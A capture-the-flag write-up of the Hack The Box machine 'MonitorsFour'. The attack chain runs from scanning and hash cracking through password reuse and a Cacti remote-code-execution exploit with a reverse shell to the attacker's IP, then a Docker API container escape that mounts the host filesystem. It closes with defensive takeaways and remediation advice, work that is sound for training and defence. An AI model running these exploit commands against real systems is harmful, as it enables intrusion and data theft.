MonitorsFour writeup
Box name: MonitorsFour
Difficulty: Easy
OS: Windows
Overview: Did on release
Link: https://app.hackthebox.com/machines/MonitorsFour?sort_by=created_at&sort_type=desc
Machine IP: 10.129.15.15
Ran rustscan against the machine.
rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn
Navigated to the webserver on 80. Had to add monitousfout.htb to /etc/hosts.
Ran feroxbuster while I poke around.
feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
No robots.txt. Possible usernames in source code.
We do come across a login page.
We don’t have creds yet to get in to this. Feroxbuster found /user which seemed suspicious. I manually played with this for a bit and was actually able to find credentials.
Spawn the pwnbox so I can crack them there. Put the hashes in hashes.txt. Used hashcat.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
It cracked the admin hash which is actually the most convenient.
admin:wonderful1
I got in to the dashboard with those credentials but after poking around for a bit I don’t think anything was useful.
API keys look the most interesting but I’m not completely sure. I ran a subdomain enumeration while I poke around more.
ffuf -u ‘http://monitorsfour.htb/’ -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138
I couldn’t find anything additional on the current site but we did find a cacti.montorsfour.htb
I wasn’t able to get in with the same credentials but with the previous information I was able to eventually get in with marcus:wonderful1 as that is the admin’s first name.
It looks like this is vulnerable. Found this https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.
We were able to get a shell.
python3 exploit.py \
-u marcus \
-p wonderful1 \
-i 10.10.16.147 \
-l 4444 \
-url http://cacti.monitorsfour.htb
After some enumeration it looks like we are in a container.
We can follow the API and check the version.
It’s accessible without authentication so this is vulnerable to CVE-2025-9074. We can create a JSON config for this exploit.
cat > /tmp/container.json << ‘EOF’
{
“Image”: “alpine:latest”,
“Cmd”: [“/bin/sh”, “-c”, “cat /mnt/host_root/Users/Administrator/Desktop/root.txt”],
“HostConfig”: {
“Binds”: [“/mnt/host/c:/mnt/host_root”]
},
“Tty”: true,
“OpenStdin”: true
}
EOF
cd /tmp && python3 -m http.server 8000
We can download the config.
curl http://10.10.16.147:8000/container.json -o /tmp/container.json
Create the container.
curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned“
Start it.
curl -X POST http://192.168.65.7:2375/containers/cac325013e2df9e53c911f2fc57cecb554cb432233cdfe088ecdb25a83999fd0/start
And we got root.
GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified port 80 (HTTP). Added monitorsfour.htb to /etc/hosts. Browsed to the web server and found a login page. Noted possible usernames in the page source. Ran feroxbuster while poking around manually.
rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
2 – Credential discovery and hash cracking Feroxbuster found a /user path. Manually exploring it revealed hashed credentials. Transferred the hashes to the Pwnbox and cracked them with Hashcat using rockyou. The admin hash cracked successfully.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Credentials recovered: admin:wonderful1
3 – Subdomain enumeration and Cacti access Logged into the dashboard but found nothing immediately exploitable. Ran subdomain fuzzing with ffuf and discovered cacti.monitorsfour.htb. Could not log in with the admin credentials but used the admin’s first name Marcus with the same password and got in.
ffuf -u ‘http://monitorsfour.htb/’ -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138
Credentials: marcus:wonderful1
4 – Initial Access – CVE-2025-24367 Cacti RCE Identified the Cacti instance was vulnerable to CVE-2025-24367, an authenticated remote code execution vulnerability. Used a public PoC exploit to obtain a reverse shell.
python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.147 -l 4444 -url http://cacti.monitorsfour.htb
5 – Container escape via unauthenticated Docker API – CVE-2025-9074 Enumeration confirmed the shell was inside a container. Found the Docker daemon API accessible on port 2375 without authentication. Created a malicious container configuration that mounted the host filesystem and used it to read root.txt directly from the Administrator desktop.
curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned”
Key Takeaways
- Hashed credentials exposed via unauthenticated endpoint – Hashes were accessible through a /user path with no authentication required. Credential data of any kind must never be exposed through web endpoints and access to user management paths must require authentication.
- Password reuse across accounts and services – The same password was shared between the admin account on the main application and the marcus account on the Cacti subdomain. Password reuse across any accounts is unacceptable and a single compromised password should never grant access to multiple services.
- Cacti RCE via CVE-2025-24367 (CVSS 8.8 High) – The Cacti instance was running a vulnerable version with a known authenticated RCE. Network monitoring tools are often overlooked in patch cycles but are high-value targets given their privileged network position and service account access.
- Unauthenticated Docker API exposed internally – CVE-2025-9074 (CVSS 9.8 Critical) – The Docker daemon was listening on port 2375 with no authentication, allowing any process inside the container network to create and manage containers with arbitrary host filesystem mounts. The Docker socket and API must never be exposed without authentication and TLS.
- Container escape via host filesystem mount – Once the Docker API was accessible it was trivial to mount the host root filesystem into a new container and read any file on the host. Container workloads must be isolated with appropriate runtime security controls to prevent this class of escape.
Remediation
[Immediate] Patch Cacti to remediate CVE-2025-24367 (CVSS 8.8 High) Update Cacti to the latest patched version immediately. Subscribe to Cacti security advisories and apply patches within 48 hours of a critical or high severity release. Restrict access to the Cacti interface to authorised IP ranges only and require strong unique credentials.
[Immediate] Secure the Docker API – CVE-2025-9074 (CVSS 9.8 Critical) Disable TCP exposure of the Docker daemon immediately. If remote Docker API access is operationally required, enable TLS mutual authentication and restrict access by IP. The Docker socket should never be accessible to untrusted processes or containers.
[Immediate] Remove exposed credential endpoints Audit all web application paths for unauthenticated access to user data, hashes, or credential material. The /user endpoint must require authentication. Conduct a full review of access controls across both the main application and the Cacti subdomain.
[Immediate] Enforce unique passwords across all accounts and services Rotate all passwords for accounts sharing the wonderful1 credential immediately. Implement a password policy requiring unique credentials per account and per service. Deploy a PAM solution to manage privileged account credentials.
[Short-term] Implement container runtime security controls Deploy a container security solution such as Falco or Sysdig to detect anomalous container behaviour including unexpected filesystem mounts and API calls. Apply seccomp and AppArmor profiles to all container workloads. Regularly audit running containers for unnecessary host mounts and privileged flags.
[Long-term] Integrate network monitoring tools into the vulnerability management program Tools like Cacti often run with elevated network access and are overlooked in patch cycles. Include all monitoring and infrastructure tooling in regular vulnerability scans. Define a hardening baseline for these tools covering authentication, network exposure, patch cadence, and service account permissions.
Hacking Insights by Max Bautista 
Leave a comment